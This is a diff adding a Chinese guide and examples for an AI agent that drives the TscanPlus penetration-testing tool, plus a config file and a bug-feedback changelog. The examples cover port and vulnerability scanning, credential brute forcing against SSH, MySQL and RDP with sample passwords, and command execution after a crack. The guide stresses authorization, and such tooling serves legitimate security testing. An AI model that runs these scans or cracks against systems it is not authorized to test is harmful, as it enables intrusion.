JSON(`success`、`message`、`data`): + +1. **摘要**:目标、模块、开放端口/URL 数、高危 `poc_vul`。 +2. **表格化列表**:`results.ipscan` / `urlscan` / `poccheck` / `pwdcrack` / `dirscan` / `jsfinder` / `subdomain` / `cyber` 关键字段。 +3. **`project_cleared: true`**:已清空默认 `MCP` 项目旧数据。 +4. `counts` > `result_limit`:说明仅返回前 N 条,全量在 `config.db` 或 GUI。 + +不要只回复「扫描完成」。 + +--- + +## 常见工作流 + +1. **IP → Web → 漏洞:** `ip_scan`(常见 Web 端口)→ 拼 URL → `url_scan` → 用户确认 → `poc_scan` +2. **子域 → 端口 → Web:** `subdomain_scan` → `tscan_scan`(`modules=port,url`)→ 按需 POC +3. **测绘 → 扫描:** `cyber_search` → 提取 IP/URL → 用户确认 → `ip_scan` / `url_scan` +4. **单项目持续:** 全程 `project=pentest-xx`,阶段结束用 `fresh_project=true` 重扫 + +## 排错 + +| 现象 | 处理 | +|------|------| +| 看不到 TscanPlus 工具 | 检查 MCP 配置、二进制绝对路径、重载 MCP | +| 长时间无响应 | 同步阻塞扫描;缩小 `ports`/`targets`,先关 POC/爆破 | +| 卡在 `xxx open` | 升级版本;重启 `mcp serve` 或 GUI 内 MCP 服务 | +| GUI 无 MCP 项目行 | 单工具可能不写 `project` 表;查库表或改用 `tscan_scan` | +| 测绘/子域无结果 | 检查 `config.yaml` 中 API Key、Engines | +| 结果与 GUI 不一致 | 共用同一 `config.yaml` / `config.db` | + +## MCP 不可用时的 CLI + +```bash +# 默认:port + url + poc(-h 触发) +TscanPlus -h 192.168.1.1/24 + +TscanPlus -m port -h 192.168.1.1 -p 80,443,3306 -t 600 +TscanPlus -m url,poc,dir,js -uf urls.txt -finger tiny +TscanPlus -m domain,port,url,poc -d example.com -api +TscanPlus -m crack -h 192.168.1.1 -p 22 -s ssh -user root -pwd 123456 +TscanPlus -m cyber,port,poc -ck 'domain="example.com"' +TscanPlus -pr MyProject -m port,url,poc -h 192.168.1.1 + +TscanPlus mcp stdio +TscanPlus mcp serve -listen 127.0.0.1:8088 +TscanPlus mcp serve -listen 127.0.0.1:8088 -transport sse +``` + +CLI 不自动清空项目;MCP 未指定 `project` 时默认 `MCP` 且每次调用前清空。 diff --git a/TscanPlus-skill/examples.md b/TscanPlus-skill/examples.md new file mode 100644 index 0000000..68085cb --- /dev/null +++ b/TscanPlus-skill/examples.md @@ -0,0 +1,709 @@ +# TscanPlus MCP 对话与模块示例 + +以下示例适用于任何能调用 TscanPlus MCP 工具的 AI 助手。参数语义对齐 **TscanClient** / **TscanPlus CLI**(`-m` 八大模块)。执行前须确认**授权**。 + +**模块对照:** `port`→`ip_scan`,`url`→`url_scan`,`poc`→`poc_scan`,`crack`→`pwd_crack`,`dir`→`dir_scan`,`js`→`js_scan`,`domain`→`subdomain_scan`,`cyber`→`cyber_search`,多模块联动→`tscan_scan`。 + +--- + +## 一、端口扫描 `ip_scan`(port) + +### 示例 1-1:单 IP 常见 Web 端口 + +**用户:** 帮我扫 10.211.55.2 有哪些常见 Web 端口。 + +**Agent:** + +1. 确认授权。 +2. 调用 `ip_scan`: + +```yaml +target: "10.211.55.2" +ports: "80,443,8080,8443,8000,8888,22" +ping_scan: true +ip_finger: false +poc_check: false +pwd_check: false +thread: 200 +timeout: 3 +include_results: true +``` + +3. 汇报 `data.results.ipscan` 的 `host`、`port`、`target`、`title`。 + +**CLI 等价:** `TscanPlus -m port -h 10.211.55.2 -p 80,443,8080,8443,8000,8888,22 -t 200` + +--- + +### 示例 1-2:C 段 Top100(lab) + +**用户:** 扫 192.168.1.0/24 的 Top100 端口,不要 POC。 + +```yaml +tool: ip_scan +target: "192.168.1.0/24" +ports: "Top100" +thread: 400 +ping_scan: true +poc_check: false +pwd_check: false +include_results: true +result_limit: 300 +``` + +**CLI:** `TscanPlus -m port -h 192.168.1.0/24 -t 400` + +--- + +### 示例 1-3:指定端口 + 服务指纹 + +**用户:** 对 192.168.1.10 扫 22,80,443,3306,3389 并识别服务。 + +```yaml +tool: ip_scan +target: "192.168.1.10" +ports: "22,80,443,3306,3389" +ip_finger: true +poc_check: false +thread: 300 +``` + +--- + +### 示例 1-4:端口扫描联动弱口令(需明确授权) + +**用户:** 已对 192.168.1.5 授权,对 22 和 3306 做弱口令检测。 + +```yaml +tool: ip_scan +target: "192.168.1.5" +ports: "22,3306" +pwd_check: true +poc_check: false +thread: 100 +``` + +**CLI:** `TscanPlus -m port,crack -h 192.168.1.5 -p 22,3306` + +--- + +### 示例 1-5:端口 + POC(需明确授权) + +```yaml +tool: ip_scan +target: "10.0.0.100" +ports: "80,443,8080" +poc_check: true +pwd_check: false +thread: 200 +``` + +--- + +## 二、Web 指纹 `url_scan`(url) + +### 示例 2-1:单 URL 指纹 + +**用户:** 识别 http://test.com:8080 的 Web 指纹。 + +```yaml +tool: url_scan +targets: "http://test.com:8080" +finger: tiny +web_timeout: 10 +poc_check: false +thread: 30 +include_results: true +``` + +**CLI:** `TscanPlus -m url -u http://test.com:8080 -finger tiny` + +--- + +### 示例 2-2:批量 URL + +**用户:** 对这些站做 Web 探测:a.com 和 b.com 的 https。 + +```yaml +tool: url_scan +targets: "https://a.com,https://www.b.com" +finger: min +thread: 50 +include_results: true +``` + +**CLI:** `TscanPlus -m url -u https://a.com,https://www.b.com -finger min` + +--- + +### 示例 2-3:带 Cookie 的认证站 + +```yaml +tool: url_scan +targets: "http://internal.com/admin/" +cookie: "session=abc123; token=xyz" +finger: tiny +web_timeout: 15 +``` + +**CLI:** `TscanPlus -m url -u http://internal.com/admin/ -cookie "session=abc123"` + +--- + +### 示例 2-4:URL 指纹 + 联动 POC + +**用户:** 已对下列 URL 授权打 POC。 + +```yaml +tool: url_scan +targets: "http://10.0.0.1:8080,http://10.0.0.2" +poc_check: true +finger: tiny +thread: 30 +``` + +**CLI:** `TscanPlus -m url,poc -u http://10.0.0.1:8080,http://10.0.0.2` + +--- + +### 示例 2-5:代理访问 + +```yaml +tool: url_scan +targets: "http://target.com" +proxy: "http://127.0.0.1:8080" +finger: all +``` + +--- + +## 三、POC 漏洞 `poc_scan`(poc) + +### 示例 3-1:默认 POC(匹配指纹) + +```yaml +tool: poc_scan +targets: "http://test.com" +thread: 20 +poc_full: false +include_results: true +``` + +**CLI:** `TscanPlus -m poc -u http://test.com` + +--- + +### 示例 3-2:指定 POC 名称 + +**用户:** 用 weblogic 相关 POC 测 http://10.0.0.8:7001。 + +```yaml +tool: poc_scan +targets: "http://10.0.0.8:7001" +poc_name: weblogic +thread: 15 +``` + +**CLI:** `TscanPlus -m poc -u http://10.0.0.8:7001 -pocname weblogic` + +--- + +### 示例 3-3:全量 POC(高危,需授权) + +```yaml +tool: poc_scan +targets: "http://vuln.com" +poc_full: true +thread: 10 +poc_level: "1+2+3" +``` + +**CLI:** `TscanPlus -m poc -u http://vuln.com -full -poclevel 1+2+3` + +--- + +### 示例 3-4:批量 URL 文件场景(Agent 拆分) + +**用户:** 我有 50 个 URL 要打 POC。 + +Agent:分批逗号传入(每批 ≤20),或建议用户改用 CLI `-uf urls.txt`。 + +```yaml +tool: poc_scan +targets: "http://a.com,http://b.com" +thread: 20 +``` + +--- + +## 四、弱口令 `pwd_crack`(crack) + +### 示例 4-1:SSH 单主机 + +```yaml +tool: pwd_crack +targets: "192.168.1.1:22" +services: ssh +user: "root,admin" +pwd: "123456,password,admin123" +thread: 2 +timeout: 5 +``` + +**CLI:** `TscanPlus -m crack -h 192.168.1.1 -p 22 -s ssh -user root,admin -pwd 123456,password` + +--- + +### 示例 4-2:MySQL + +```yaml +tool: pwd_crack +targets: "192.168.1.20:3306" +services: mysql +thread: 1 +``` + +--- + +### 示例 4-3:多目标多服务 + +```yaml +tool: pwd_crack +targets: "10.0.0.1:22,10.0.0.1:3389,10.0.0.2:3306" +services: "ssh,rdp,mysql" +thread: 1 +``` + +--- + +### 示例 4-4:爆破成功后执行命令 + +```yaml +tool: pwd_crack +targets: "192.168.1.1:22" +services: ssh +cmd: "id" +user: root +pwd: "toor,123456" +``` + +**CLI:** `TscanPlus -m crack -h 192.168.1.1 -p 22 -s ssh -c "id"` + +--- + +## 五、子域名 `subdomain_scan`(domain) + +### 示例 5-1:单域字典枚举 + +```yaml +tool: subdomain_scan +domains: "example.com" +sub_api: false +ports: "80,443" +include_results: true +``` + +**CLI:** `TscanPlus -m domain -d example.com` + +--- + +### 示例 5-2:多域 + API(config 已配 key) + +```yaml +tool: subdomain_scan +domains: "example.com,example.org" +sub_api: true +ports: "80,443,8080" +``` + +**CLI:** `TscanPlus -m domain -d example.com,example.org -api` + +--- + +### 示例 5-3:自定义字典 + +```yaml +tool: subdomain_scan +domains: "target.com" +sub_dict: "/path/to/subdomains.txt" +sub_api: false +``` + +**CLI:** `TscanPlus -m domain -d target.com -dc /path/to/subdomains.txt` + +--- + +## 六、目录扫描 `dir_scan`(dir) + +### 示例 6-1:内置字典 + +```yaml +tool: dir_scan +urls: "http://test.com" +thread: 30 +timeout: 5 +include_results: true +``` + +**CLI:** `TscanPlus -m dir -u http://test.com` + +--- + +### 示例 6-2:自定义字典 + 高线程 + +```yaml +tool: dir_scan +urls: "https://test.com" +dict: "/path/to/dirlist.txt" +thread: 50 +``` + +**CLI:** `TscanPlus -m dir -u https://test.com -dd /path/to/dirlist.txt -ds 50` + +--- + +## 七、JS 敏感信息 `js_scan`(js) + +### 示例 7-1:单站 JS 收集 + +```yaml +tool: js_scan +urls: "https://test.com" +timeout: 10 +include_results: true +``` + +**CLI:** `TscanPlus -m js -u https://test.com -wt 10` + +--- + +### 示例 7-2:多 URL + +```yaml +tool: js_scan +urls: "https://a.com,https://b.com" +proxy: "socks5://127.0.0.1:1080" +``` + +--- + +## 八、空间测绘 `cyber_search`(cyber) + +> 须在 `config.yaml` 配置 Hunter/FOFA 等引擎与 Key。 + +### 示例 8-1:按域名查资产(与 GUI 相同) + +```yaml +tool: cyber_search +query: example.com +field: domain +include_results: true +``` + +**CLI:** `TscanPlus -m cyber -ck example.com`(或完整语法 `-ck 'domain="example.com"'` 时需 `field=custom`) + +--- + +### 示例 8-2:按 IP 段 + +```yaml +tool: cyber_search +query: 192.168.1.0/24 +field: ip +``` + +--- + +### 示例 8-3:按标题查(指定引擎) + +```yaml +tool: cyber_search +query: 管理后台 +field: title +engines: "hunter,fofa" +include_results: true +``` + +--- + +### 示例 8-4:自定义平台语法 + +```yaml +tool: cyber_search +query: 'domain="example.com" && port="443"' +field: custom +engines: "fofa" +``` + +--- + +## 九、综合扫描 `tscan_scan`(多模块联动) + +联动顺序:**cyber → domain → port → crack → url → poc → dir → js** + +### 示例 9-1:端口 + Web(最常用) + +**用户:** 对 192.168.1.100 做端口和 Web 指纹,先不要 POC。 + +```yaml +tool: tscan_scan +targets: "192.168.1.100" +modules: "port,url" +ports: "Top100" +thread: "300" +url_thread: "50" +finger: tiny +ping_scan: true +include_results: true +``` + +**CLI:** `TscanPlus -m port,url -h 192.168.1.100 -finger tiny` + +--- + +### 示例 9-2:内网 C 段 端口+URL+POC(授权) + +```yaml +tool: tscan_scan +targets: "192.168.1.0/24" +modules: "port,url,poc" +ports: "Top100" +thread: "400" +poc_thread: "15" +finger: tiny +include_results: true +result_limit: 500 +``` + +**CLI:** `TscanPlus -h 192.168.1.0/24 -m port,url,poc`(默认 -m) + +--- + +### 示例 9-3:端口 + 弱口令 + POC + +```yaml +tool: tscan_scan +targets: "192.168.1.0/24" +modules: "port,crack,url,poc" +ports: "22,80,443,3306,3389,8080" +crack_services: "ssh,mysql,rdp" +thread: "300" +``` + +**CLI:** `TscanPlus -m port,poc,crack -h 192.168.1.0/24 -p 22,80,443,3306,3389,8080` + +--- + +### 示例 9-4:子域 → 端口 → Web → POC + +```yaml +tool: tscan_scan +targets: "example.com" +domains: "example.com" +modules: "domain,port,url,poc" +sub_api: true +ports: "80,443,8080" +thread: "200" +include_results: true +``` + +**CLI:** `TscanPlus -m domain,port,url,poc -d example.com -api` + +--- + +### 示例 9-5:Web 全链路 url+poc+dir+js + +```yaml +tool: tscan_scan +targets: "http://test.com,http://api.test.com" +modules: "url,poc,dir,js" +finger: tiny +dir_thread: "30" +include_results: true +``` + +**CLI:** `TscanPlus -m url,poc,dir,js -u http://test.com,http://api.test.com` + +--- + +### 示例 9-6:测绘后联动扫描 + +```yaml +tool: tscan_scan +targets: target.com +cyber_query: target.com +cyber_field: domain +modules: "cyber,port,url" +ports: "Top100" +thread: "300" +``` + +**CLI:** `TscanPlus -m cyber,port,url -ck target.com` + +--- + +### 示例 9-7:追加端口、排除主机 + +```yaml +tool: tscan_scan +targets: "10.0.0.0/24" +modules: "port,url" +ports: "Top100" +ports_add: "3389,5985,6379" +exclude_hosts: "10.0.0.1" +smart_scan: true +thread: "400" +``` + +**CLI:** `TscanPlus -m port,url -h 10.0.0.0/24 -pa 3389,5985,6379 -hn 10.0.0.1` + +--- + +### 示例 9-8:关闭启发式大网段扫描 + +```yaml +tool: tscan_scan +targets: "10.0.0.0/16" +modules: "port" +ports: "80,443" +smart_scan: false +thread: "200" +``` + +**CLI:** `TscanPlus -m port -h 10.0.0.0/16 -p 80,443 -nosmart` + +--- + +## 十、项目管理 + +### 示例 10-1:默认 MCP 项目(每次清空) + +未传 `project` 时自动使用 `MCP` 并在调用前清空,适合一次性对话扫描。 + +### 示例 10-2:命名项目、累积结果 + +```yaml +tool: subdomain_scan +domains: "example.com" +project: pentest-acme +# fresh_project 默认 false → 追加 +``` + +### 示例 10-3:清空后重扫 + +```yaml +tool: ip_scan +target: "10.0.0.0/24" +ports: "Top100" +project: pentest-acme +fresh_project: true +``` + +### 示例 10-4:综合项目登记 + +```yaml +tool: tscan_scan +targets: "192.168.1.0/24" +modules: "port,url,poc" +project: pentest-acme +fresh_project: true +``` + +` tscan_scan` 会在 GUI `project` 表登记;单工具可能仅写分表。 + +--- + +## 十一、分阶段工作流(推荐 Agent 策略) + +### 工作流 A:IP → Web → 漏洞 + +1. `ip_scan`:`ports: "80,443,8080,8443"` +2. 从 `results.ipscan` 提取 `target` URL +3. `url_scan`:`finger: tiny` +4. 用户确认后 `poc_scan` 或 `tscan_scan` 仅 `poc` 模块 + +### 工作流 B:子域资产扩张 + +1. `subdomain_scan` + `sub_api: true` +2. `tscan_scan`:`modules: "port,url"`,`targets` 为子域列表 +3. 对高危 URL 单独 `poc_scan` + +### 工作流 C:测绘驱动 + +1. `cyber_search` 获取 IP/域名 +2. 向用户展示摘要,确认范围 +3. `ip_scan` / `url_scan` 分批执行(控制 `result_limit`) + +--- + +## 十二、拒绝未授权扫描 + +**用户:** 扫一下 https://www.baidu.com 有没有漏洞。 + +**Agent 应:** + +说明无法对未授权的第三方生产站点执行扫描;可改为在用户自有 lab 靶机上演示 `poc_scan` 参数与返回结构,不进行真实请求。 + +--- + +## 十三、返回 JSON 结构参考 + +```json +{ + "success": true, + "message": "ip_scan completed", + "data": { + "project": "MCP", + "project_cleared": true, + "target": "10.211.55.2", + "ports": "80,443,8080", + "result_limit": 200, + "counts": { "ipscan": 3, "urlscan": 1, "poccheck": 0 }, + "results": { + "ipscan": [ + { + "host": "10.211.55.2", + "port": "8083", + "target": "http://10.211.55.2:8083", + "title": "..." + } + ], + "urlscan": [], + "poccheck": [] + } + } +} +``` + +**各表关键字段(汇报时优先提取):** + +| 表名 | 字段 | +|------|------| +| `ipscan` | `host`, `port`, `target`, `title`, `banner` | +| `urlscan` | `target`, `title`, `finger`, `status` | +| `poccheck` | `target`, `poc_vul`, `level`, `request` | +| `pwdcrack` | `host`, `port`, `service`, `user`, `pass` | +| `dirscan` | `url`, `path`, `status`, `len` | +| `jsfinder` | `url`, `match`, `type` | +| `subdomain` | `domain`, `subdomain`, `ips` | +| `cyber` | `ip`, `domain`, `port`, `title`, `source` | + +--- + +## 十四、CLI 批量对照(无 MCP 时) + +```bash +# C 段全面(慎用范围) +TscanPlus -h 192.168.1.0/24 -m port,url,poc,crack + +# URL 文件 +TscanPlus -uf target-urls.txt -m url,poc,dir,js + +# 全功能(lab 仅限) +TscanPlus -h 192.168.1.0/24 -d example.com -m port,url,poc,crack,dir,js,domain,cyber + +# 指定项目 +TscanPlus -pr MyProject -m port,url,poc -h 192.168.1.1 +``` + +Agent 在 MCP 可用时应优先调用工具并解析 JSON,CLI 仅作备选说明。 diff --git a/TscanPlus-skill/mcp-config-example.json b/TscanPlus-skill/mcp-config-example.json new file mode 100644 index 0000000..1d56f83 --- /dev/null +++ b/TscanPlus-skill/mcp-config-example.json @@ -0,0 +1,14 @@ +{ + "mcpServers": { + "tscanplus-stdio": { + "command": "/绝对路径/TscanPlus", + "args": ["mcp", "stdio"] + }, + "tscanplus-http": { + "url": "http://127.0.0.1:8088/mcp" + }, + "tscanplus-sse-legacy": { + "url": "http://127.0.0.1:8088/sse" + } + } +} diff --git a/无影Bug反馈及领取Key说明.md b/无影Bug反馈及领取Key说明.md new file mode 100644 index 0000000..f56e136 --- /dev/null +++ b/无影Bug反馈及领取Key说明.md @@ -0,0 +1,1136 @@ + + +## 致谢 + +`无影 (TscanPlus)` 自 2023 年 12 月发布 v1.0 以来,受到了广大安全研究人员和技术爱好者的关注和支持。 + +在此,我们特别感谢各位师傅(来自 GitHub、知识星球、工具交流群等)提出的宝贵修改建议和诸多 Bug! + +你们的支持与反馈是我不断优化和进步的动力。 + +## 反馈及奖励 + +自2024年7月发布v2.2版后,`无影 (TscanPlus)`上线Vip认证功能【目前Vip可解锁所有Poc和密码破解连接验证功能】,开启“**提交一个有效Bug,Bug修复后可获得一个Key**”模式。 + +**提交Bug的师傅在Bug修复后,在修复Bug后的发布版—`About页面`可看到致谢名单,凭致谢名单截图发送到邮箱 [xyguest@gmail.com](mailto:xyguest@gmail.com),可获得Key一枚,并被拉进Bug反馈专用群。** + +为了更好地完善和改进`无影 (TscanPlus)`,重新说明一下 Bug 反馈的方式: + +1. **GitHub Issue**:在项目的 [GitHub Issue](https://github.com/TideSec/TscanPlus/issues) 页面提交 Bug 反馈和功能建议。 +2. **知识星球**:加入[知识星球](https://wx.zsxq.com/group/15525258451582)也**可直接获得3个key且可无限重置**,同时开放了交流渠道,可随时发帖留言。 +3. **电子邮箱**:如涉及敏感信息、视频等,也可发送至我的邮箱 [xyguest@gmail.com](mailto:xyguest@gmail.com),不过邮箱查看可能不会太及时。 +4. **工具交流群**:~~由于个人开发,精力有限,目前只开设了一个交流群,且目前已满。~~ + +上线Vip认证功能主要也是为了Poc搜集和使用能形成良性生态,自 2024年 7 月以来在Poc平台上提交的的Poc数量约为400+,针对有效Poc发放key约300+,提交Poc换Key的说明可查看这里:[POC提交及无影Key获取说明.md][url-poc-key] + +希望大家继续多提宝贵的建议和意见,共同打造更优秀的网络安全工具!感谢每一位使用和支持`无影 (TscanPlus)`的朋友! + + + +## Bug反馈统计 + +【2025.10.01】无影(TscanPlus)自2023年12月上线来,截止目前共发布62个版本,**增加/升级65项功能,累计修复317个用户反馈的591个Bug**,反馈Bug统计数据如下。 + +为感谢大家一直以来对无影的支持,**提交已修复bug数量达5个(含5个)以上的用户可免费加入[“剑影安全实验室”知识星球](https://wx.zsxq.com/group/15525258451582)**,可根据榜单上的数量私聊我或发邮件 [xyguest@gmail.com](mailto:xyguest@gmail.com)。 + + + + + + + + + + + + +
+ 无影更新及Bug反馈记录 + + Bug反馈统计数据及榜单 +
+
+ v3.0.0版 【2025.09.23】
+ 1、增加Awvs扫描功能 @天明
+ 2、项目管理支持定时任务 @秋茶-
+ 3、jwt编码支持多种密钥编码 @树先生
+ 4、jwt秘钥编码与jwt.io兼容 @秋茶- @mk4no1
+ 5、域名枚举数据右键增加密码破解 @笑傲江湖
+ 6、密码破解增加全局超时限制 @小白
+ 7、MongoDB密码破解资源占用高 @呱呱
+ 8、增强JS接口爬取与解析功能 @无先森
+ 9、密码破解RDP协议闪退 @0x1eeA @jo3ker
+ 10、根据问卷调查重排功能模块顺序
+
+ v2.9.9版 【2025.09.03】
+ 1、针对poc、js结果增加AI辅助分析功能 @呱呱
+ 2、密码破解增加docker未授权检测 @youxia5
+ 3、敏感目录字典更新 @无先森
+ 4、beianx备案查询cookie信息变更 @TAI
+ 5、jwt密钥兼容base64url格式 @树先生
+ 6、SMTP爆破功能不兼容SSL协议 @nnasdlc
+ 7、高级配置中目录打开有误 @秋茶- @Easonc8
+ 8、jwt密钥成功但校验失败 @小白
+ 9、编码转换增加Url全编码选项 @秋茶-
+ 10、AES功能解密异常 @零乱
+
+ v2.9.8版 【2025.08.21】
+ 1、风鸟cookie异常导致查询报错 @Seven @zzzhhha
+ 2、密码破解的暂停功能无效 @菜鸟的菜
+ 3、筛选数据后选择所有行无效 @xj90512
+ 4、个别Poc检测存在误报漏报 @shuai32768
+ 5、代理池当前代理显示地区和延迟 @n0rth_404
+ 6、JsFinder部分规则存在误报 @雪山乘客
+ 7、JsFinder个别站点标题乱码 @小白
+ 8、JsFinder结果展示优化 @一根胡萝卜
+ 9、ICP备案信息批量查询功能优化 @缓归
+ 10、SSH服务爆破执行命令异常 @陌上花开
+
+ v2.9.7版 【2025.08.20】
+ 1、增加项目中断后继续扫描功能
+ 2、信息搜集到资产探测到漏洞检测流程化 @zzzhhha
+ 3、激活码认证时硬件信息读取异常 @孙吉国杰
+ 4、信息搜集联动web指纹时nuclei异常 @n0rth_404
+ 5、增加程序退出确认防止意外关闭 @faow
+ 6、jwt校验根据算法进行密钥截断或补零 @xiaoliusec
+ 7、主动指纹探测策略优化 @hellowchen
+ 8、Svn破解支持GET和PROPFIND两种方式 @ZenkiH
+ 9、空间测绘增加自定义延迟时间 @zzzhhha
+ 10、编辑项目时信息搜集选项不保存 @zzzhhha
+
+ v2.9.6版 【2025.08.12】
+ 1、提权辅助的检索功能无效 @nn0nkey
+ 2、信息搜集增加域名及ip归属地查询 @文欧
+ 3、信息搜集Cookie校验超时 @Yo皮蛋
+ 4、bypass开启大小写绕过闪退 @pemuse @A1
+ 5、全局配置增加自定义body设置 @秋茶-
+ 6、jwt解析增加异常字符处理 @按时睡觉
+ 7、Web指纹的截图功能支持全局UA @Reluctantly
+ 8、SSH破解时因空行导致结果异常 @树先生
+ 9、key过期提示优化 @zzzhhha
+ 10、JsFinder爬虫策略优化 @小白
+
+ v2.9.5版 【2025.07.28】
+ 1、信息搜集功能与项目管理集成
+ 2、优化jsfinder功能并支持自定义规则 @TFour123 @@qty567
+ 3、对资产可自定义标签并标记颜色
+ 4、增加jwt已知漏洞检测功能 @amoy6228
+ 5、优化目录枚举高并发导致闪退 @丶ty @雪山乘客
+ 6、密码破解多个账户时进度异常 @呱呱
+ 7、jwt爆破增加密钥多种编码选择 @z1603206931
+ 8、项目管理中卡在待执行状态 @b2522
+ 9、关闭端口指纹选项时端口数据不显示 @Backspace
+ 10、信息收集页面切换项目闪退 @Y.
+
+ v2.9.4版 【2025.07.16】
+ 1、RDP密码爆破导致闪退 @ziyue0230
+ 2、杀软查询时 @Wans
+ 3、新建项目后项目列表刷新异常 @hello @momxSec
+ 4、列表数据检索支持&和||运算符 @太霖
+ 5、资产测绘右键功能联动闪退 @弹弹弹 @Vain @太霖
+ 6、icp备案查询增加停止功能 @jiuyueyi
+ 7、主动指纹结果较多时优化处理 @Crab
+ 8、项目执行状态时禁止项目编辑 @b2522
+ 9、根据企业名进行信息搜集数据显示不完整 @X
+ 10、域名枚举右键功能联动闪退 @xmqaq @J0k4r5
+
+ v2.9.3版 【2025.07.10】
+ 1、达梦数据库密码破解联动Bug @KaerSAN
+ 2、web探测超时时间过长 @菜鸟的菜
+ 3、poc联动检测时部分目标缺失 @小白
+ 4、ICMP存活探测模式时域名探测无效 @R
+ 5、右键破解增加根据端口/服务自匹配 @酒零
+ 6、Telnet密码破解闪退 @呱呱 @洋丞
+ 7、密码破解增加JDWP、RMI未授权检测 @kio
+ 8、资产分拣时大网段导致闪退 @KaerSAN
+ 9、空间测绘时icon查询标签名相同 @fu221ng
+ 10、资产测绘多个Key时可用验证失败 @15679768019
+
+ v2.9.2版 【2025.07.01】
+ 1、增加达梦数据库密码破解
+ 2、增加ActiveMQ服务密码破解
+ 3、增加RabbitMQ服务密码破解
+ 4、增加RMI服务密码破解
+ 5、增加Kafka服务密码破解
+ 6、增加Neo4j服务密码破解
+ 7、增加Modbus、ADB未授权检测
+ 8、支持mongodb高版本未授权检测 @wuha
+ 9、信息搜集模块增加导出和批量关闭 @秋茶- @. @youcs233
+ 10、密码字典可选择追加或覆盖模式 @鼎级FW @雾散
+
+ v2.9.1版 【2025.06.23】
+ 1、空间测绘中某些tab无法彻底关闭 @jason9777598
+ 2、项目编辑中默认显示内置字典 @ZACsec
+ 3、poc检测时目标url路径被截断 @Pyl0ad
+ 4、poc检测查看数据包无post的body数据 @秋茶-
+ 5、增加标题Slogan开关选项 @圣男
+ 6、信息搜集和资产测绘增加历史查询 @cf48rty0
+ 7、端口扫描增加防火墙检测选项 @贝贝
+ 8、端口扫描增加状态码筛选 @xiaridenuanfeng
+ 9、40xbypass不支持socks5类型代理 @totooss
+ 10、信息搜集cookie验证时代理无效 @小白
+
+ v2.9.0版 【2025.06.16】
+ 1、正式上线信息搜集模块
+ 2、上线ICP备案信息批量查询功能
+ 3、支持多目标(域名/单位名/IP)批量查询
+ 4、集成爱站、Chinaz、风鸟、备案API等
+ 5、整合站点信息、备案信息、域名信息、企业信息
+ 6、整合端口、子域名、IP/域名反查、历史解析等数据
+ 7、集成分支机构、对外投资、软著、APP、小程序等查询
+ 8、支持信息搜集与端口扫描、web指纹等功能联动
+ 9、支持多tab页展示和本地数据库存储
+ 10、ICP备案批量查询支持API动态调配
+

+ v2.8.4版 【2025.06.13】
+ 1、空间测绘API支持多个key轮询 @cf48rty0
+ 2、资产测绘增加“多查询条件“输入 @TFour123
+ 3、提权辅助功能增加完善CVE信息 @曾哥
+ 4、对所有表格数据增加检索功能 @小白
+ 5、增加手动更新功能 @菜鸟的菜
+ 6、信息搜集配置模块前端数据同步 @心海
+ 7、项目管理表格无法拖动 @Avalon @20812807
+ 8、密码破解功能无法单独勾选服务 @daryl888
+ 9、优化API有效性验证时扣积分较多问题 @cf48rty0
+ 10、FofaAPI的key验证可用性失效 @NewGtBoy
+
+ v2.8.3版 【2025.06.08】
+ 1、代理池增加免费代理爬取功能
+ 2、端口扫描时端口随机以规避IPS @呱呱
+ 3、密码破解功能在探测端口时闪退 @呱呱
+ 4、内置POC无法进行多线程扫描 @bupsdx
+ 5、增加ICMP和PING两种存活探测选项 @瑶瑶
+ 6、扫描时提示“是否清除已有数据” @菜鸟的菜
+ 7、Snmp弱口令检测失败 @beauty @Mrship12138
+ 8、Snmp及SMB弱口令检测误报 @Backspace
+ 9、编码转换模块增加滚动条 @fricka6768
+ 10、密码破解支持ip:port格式 @0xFF
+
+ v2.8.2版 【2025.05.30】
+ 1、网卡切换后无法切回Auto模式 @sonumb-z
+ 2、功能联动Poc时控制第三方工具进程数 @榆关
+ 3、Poc列表显示异常,增加指纹Poc提示 @秋茶-
+ 4、host碰撞的队列显示异常 @Pyl0ad @dafupp
+ 5、webshell功能无法滚动显示 @echo-Shu
+ 6、对ping检测进行优化完善 @je5442804
+ 7、限制空间测绘语法标签长度 @miki-java
+ 8、RDP密码破解异常导致闪退 @je5442804
+ 9、空间测绘功能去除BinaryEdge @lzj242
+ 10、JsFinder导出html时数据缺失 @xxxx1a
+
+ v2.8.1版 【2025.05.16】
+ 1、jwt编码兼容数组型payload @root1010jk
+ 2、RC4解码时Base64转换导致错误 @eleveni386
+ 3、资产测绘功能高级配置指定hearder无效 @RMAX2000
+ 4、TscanClient修复端口扫描指纹识别异常 @菜
+ 5、TscanClient支持IP:Port形式 @Backspace
+ 6、445端口的smb和ms-ds服务区分 @XingHuoLiaoYuanBaby
+ 7、增加HTTP响应包最大长度限制选项 @秋茶-
+ 8、Poc查看数据包增加一键复制 @菜狗
+ 9、启发式扫描时IP排除不生效 @LiPaCai
+ 10、资产分拣时对IP段自动解析 @行者无疆
+
+ v2.8.0版 【2025.05.07】
+ 1、优化线程动态调整策略 @小白
+ 2、新增113个内置poc @浮生若梦
+ 3、导出数据支持xls和html两种 @Afrog
+ 4、修改任务持续时间为1h2m3s格式 @菜
+ 5、JWT破解字典更新 @amoy6228
+ 6、Shodan自定义查询存在bug @Hem1ock
+ 7、Poc结果直接显示PocUrl和状态码 @秋茶-
+ 8、端口扫描时支持!port以便排除端口 @minghuinet
+ 9、导出数据增加Url屏幕截图 @菜鸟的菜
+ 10、红队命令等数据UI展示不完整 @Yo皮蛋
+
+ v2.7.9版 【2025.05.01】
+ 1、前端页面布局调整增加TitleBar
+ 2、密码破解支持UDP协议探测 @beauty
+ 3、多重验证的poc数据包显示异常 @热河
+ 4、多个任务可同时执行重新扫描 @朱瀚声
+ 5、Host碰撞中ip资产的启发式探测bug @Anthony
+ 6、Key数据类型错误导致校验异常 @候鸟
+ 7、40xbypass功能优化及文件统一处理 @小白
+ 8、poc导出excel增加响应请求数据 @秋茶-
+ 9、Client数据库部分数据未记录 @张朝
+ 10、导出路径不存在导致导出失败 @soevai
+
+ v2.7.8版 【2025.04.23】
+ 1、代理池增加无限轮询模式 @dtset001 @秋茶-
+ 2、Smb密码破解异常导致闪退 @je5442804
+ 3、Mongodb密码破解存在误报 @DreAm
+ 4、主程序内置部分红队配置文件 @Superhero-zero
+ 5、GUI界面的输入框取消自动大写检查 @perlh
+ 6、TP5指纹规则完善及指纹匹配优化 @xintianwen
+ 7、Poc中toUpper规则完善 @zysanjing
+ 8、对C段进行密码破解时出现闪退 @L-Serim @cf48rty0
+ 9、Client存活探测np存在bug @小刘小刘开心加油
+ 10、Poc检测支持主动指纹 @秋茶-
+
+ v2.7.7版 【2025.04.17】
